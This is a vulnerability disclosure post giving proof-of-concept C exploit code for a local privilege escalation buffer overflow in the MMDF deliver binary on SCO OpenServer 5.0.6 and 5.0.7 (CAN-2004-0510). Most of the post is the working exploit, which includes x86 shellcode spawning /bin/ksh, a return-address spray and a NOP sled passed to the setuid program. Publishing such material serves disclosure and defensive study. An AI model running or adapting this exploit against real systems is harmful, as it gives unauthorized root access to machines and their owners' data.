[EXPL] SCO OpenServer MMDF Deliver Buffer Overflow

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  SCO OpenServer MMDF Deliver Buffer Overflow
------------------------------------------------------------------------


SUMMARY

Below is a proof of concept code for a buffer overflow in SCO OpenServer 
MMDF deliver.

DETAILS

Vulnerable Systems:
 * SCO OpenServer version 5.0.6
 * SCO OpenServer 5.0.7

CVE Information:
 <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0510> 
CAN-2004-0510

Proof of Concept Code:
/*
 *MMDF deliver local root exploit for SCO OpenServer 5.0.7 x86
 *Copyright 2004 Ramon de Carvalho Valle
 *
 */

char shellcode[]= /*36 bytes*/
    "\x68\xff\xf8\xff\x3c"/*pushl $0x3cfff8ff */
    "\x6a\x65"/*pushl $0x65 */
    "\x89\xe6"/*movl%esp,%esi */
    "\xf7\x56\x04"/*notl0x04(%esi)*/
    "\xf6\x16"/*notb(%esi)*/
    "\x31\xc0"/*xorl%eax,%eax */
    "\x50"/*pushl %eax*/
    "\x68""/ksh"/*pushl $0x68736b2f */
    "\x68""/bin"/*pushl $0x6e69622f */
    "\x89\xe3"/*movl%esp,%ebx */
    "\x50"/*pushl %eax*/
    "\x50"/*pushl %eax*/
    "\x53"/*pushl %ebx*/
    "\xb0\x3b"/*movb$0x3b,%al */
    "\xff\xd6"/*call*%esi */
;

main(int argc,char **argv) {
    char buffer[16384],address[4],*p;
    int i;

    printf("MMDF deliver local root exploit for SCO OpenServer 5.0.7 
x86\n");
    printf("Copyright 2004 Ramon de Carvalho Valle\n\n");

    *((unsigned long *)address)=(unsigned long)buffer-256+5120+4097;

    sprintf(buffer,"-c");
    p=buffer+2;
    for(i=0;i<5120;i++) *p++=address[i%4];
    for(i=0;i<8192;i++) *p++=0x90;
    for(i=0;i<strlen(shellcode);i++) *p++=shellcode[i];
    *p=0;

    execl("/usr/mmdf/bin/deliver","deliver",buffer,0);
}


ADDITIONAL INFORMATION

The information has been provided by  
<mailto:ramondecarvalho@yahoo.com.br>   Ramon de Carvalho Valle.



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